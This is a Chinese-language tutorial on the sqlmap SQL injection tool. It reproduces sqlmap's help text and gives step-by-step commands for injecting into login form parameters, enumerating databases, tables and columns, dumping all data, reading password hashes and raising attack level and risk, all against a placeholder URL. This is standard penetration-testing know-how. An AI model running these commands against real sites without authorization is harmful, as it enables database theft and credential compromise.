小伙伴整理的内网资料,不方便访问,在此归整。

源码地址:
https://github.com/sqlmapproject/sqlmap

需要安装python才可运行,推荐python 2.7,注意安装sqllite,否则可能会出现问题,python安装可参考:
http://love.ranshy.com/centos%E4%B8%8Bpython2-6%E5%8D%87%E7%BA%A7%E4%B8%BA2-7/

  • 帮助信息
  • -h 查看帮助信息

    root@localhost [~] ./sqlmap.py -h
             _
     ___ ___| |_____ ___ ___  {1.0.9.8#dev}
    |_ -| . | |     | .'| . |
    |___|_  |_|_|_|_|__,|  _|
          |_|           |_|   http://sqlmap.org

    Usage: python sqlmap.py [options]

    Options:
      -h, --help            Show basic help message and exit
      -hh                   Show advanced help message and exit
      --version             Show program'
    s version number and exit
      -v VERBOSE            Verbosity level: 0-6 (default 1)

      Target:
        At least one of these options has to be provided to define the
        target(s)

        -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
        -g GOOGLEDORK       Process Google dork results as target URLs

      Request:
        These options can be used to specify how to connect to the target URL

        --data=DATA         Data string to be sent through POST
        --cookie=COOKIE     HTTP Cookie header value
        --random-agent      Use randomly selected HTTP User-Agent header value
        --proxy=PROXY       Use a proxy to connect to the target URL
        --tor               Use Tor anonymity network
        --check-tor         Check to see if Tor is used properly

      Injection:
        These options can be used to specify which parameters to test for,
        provide custom injection payloads and optional tampering scripts

        -p TESTPARAMETER    Testable parameter(s)
        --dbms=DBMS         Force back-end DBMS to this value

      Detection:
        These options can be used to customize the detection phase

        --level=LEVEL       Level of tests to perform (1-5, default 1)
        --risk=RISK         Risk of tests to perform (1-3, default 1)

      Techniques:
        These options can be used to tweak testing of specific SQL injection
        techniques

        --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

      Enumeration:
        These options can be used to enumerate the back-end database
        management system information, structure and data contained in the
        tables. Moreover you can run your own SQL statements

        -a, --all           Retrieve everything
        -b, --banner        Retrieve DBMS banner
        --current-user      Retrieve DBMS current user
        --current-db        Retrieve DBMS current database
        --passwords         Enumerate DBMS users password hashes
        --tables            Enumerate DBMS database tables
        --columns           Enumerate DBMS database table columns
        --schema            Enumerate DBMS schema
        --dump              Dump DBMS database table entries
        --dump-all          Dump all DBMS databases tables entries
        -D DB               DBMS database to enumerate
        -T TBL              DBMS database table(s) to enumerate
        -C COL              DBMS database table column(s) to enumerate

      Operating system access:
        These options can be used to access the back-end database management
        system underlying operating system

        --os-shell          Prompt for an interactive operating system shell
        --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

      General:
        These options can be used to set some general working parameters

        --batch             Never ask for user input, use the default behaviour
        --flush-session     Flush session files for current target

      Miscellaneous:
        --sqlmap-shell      Prompt for an interactive sqlmap shell
        --wizard            Simple wizard interface for beginner users

    [!] to see full list of options run with '-hh'
  • 执行命令介绍
  • -v [0 - 6]
    输出信息的详细等级(默认为1)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容

    -u [URL]
    指定注入的 URL (必须)

    --data [data]
    post 的 payload

    --random-agent
    使用随机的 user-agent

    --dbms[ MySQL | Oracle | PostgreSQL | Microsoft SQL Server | … )]
    当已知攻击的数据库类型时,可以指定数据库类型,能减少无用的攻击请求,同时增加更多更有针对性的攻击

    --level[1 - 5]
    攻击的level,level越高,攻击尝试的手段越多,同时会发更多的攻击请求(一般当level低无法攻击成功时,可以尝试提高level)

    --risk[1 - 3]
    风险程度,risk越高,风险越高;风险指对对方服务器造成的影响(一般当risk低无法攻击成功时,可以尝试提高risk)

  • 获取数据命令介绍
  • -a
    获取被攻击的SQL Server的所有信息

    --current-user
    获取当前数据库用户

    --current-db
    获取当前数据库库名

    --passwords
    枚举数据库中所有用户的密码

    --dbs
    枚举所有数据库

    --tables
    枚举当前数据库中或指定的数据库中所有table

    --columns
    枚举当前数据库表或者指定的库表中的所有字段

    --dump
    将当前数据库中的所有信息或者指定的信息dump出来

    --dump-all
    将SQL server中的所有信息dump出来

    -D [database_name]
    指定注入的数据库,可与上面的枚举数据的参数结合,只枚举指定数据库中的信息

    -T [table_name]
    指定注入的数据库中的表,可与上面的枚举数据的参数结合,只枚举指定数据库中的信息

    -C [column_name]
    指定注入的数据库表中的字段,可与上面的枚举数据的参数结合,只枚举指定数据库中的信息

    --batch
    自动使用默认行为,注入过程中不再询问

  • 常用语句
  • 查看帮助

    root@localhost [~] python sqlmap.py -h

    Get 方式的注入

    root@localhost [~] python sqlmap.py -u “http://xxx?password=1&username=1"

    设置 payload 中的数据格式,一般 post 需要用到 --data

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1"

    自动使用默认行为,不再进行询问

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --batch

    将输出的信息等级设置为3(输出每次注入的payload),并将method设为post

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" \
    >  --batch --method="POST" -v 3

    将设置每次注入的 user-agent 为随机

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" \
    >  --batch --method="POST" -v 3 --random-agent

    获取所有信息

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --method="POST" \
    >  -v 3 --random-agent \
    >  -a

    枚举所有数据库

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --method="POST" \
    >  -v 3 --random-agent \
    >  --dbs

    枚举某个库中的所有表

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --batch --method="POST" \
    >  -v 3 --random-agent \
    >  -D  datebase_name  --tables

    枚举某个库某个表的所有字段

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --batch --method="POST" \
    >  -v 3 --random-agent \
    >  -D  datebase_name  -T table_name  --columns

    提高攻击等级

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --method="POST" \
    >  -v 3 --random-agent \
    >  --level="5" --risk="3"

    指定漏洞的参数(减少请求次数)

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" --method="POST" \
    >  -v 3 --random-agent \
    >  -p "password"

    指定数据库类型(减少不必要的测试)

    root@localhost [~] python sqlmap.py -u "http://xxx" \
    >  --data="password=1&username=1" -p "password" \
    >  --dbms="MySQL" --method="POST" \
    >  -v 3 --random-agent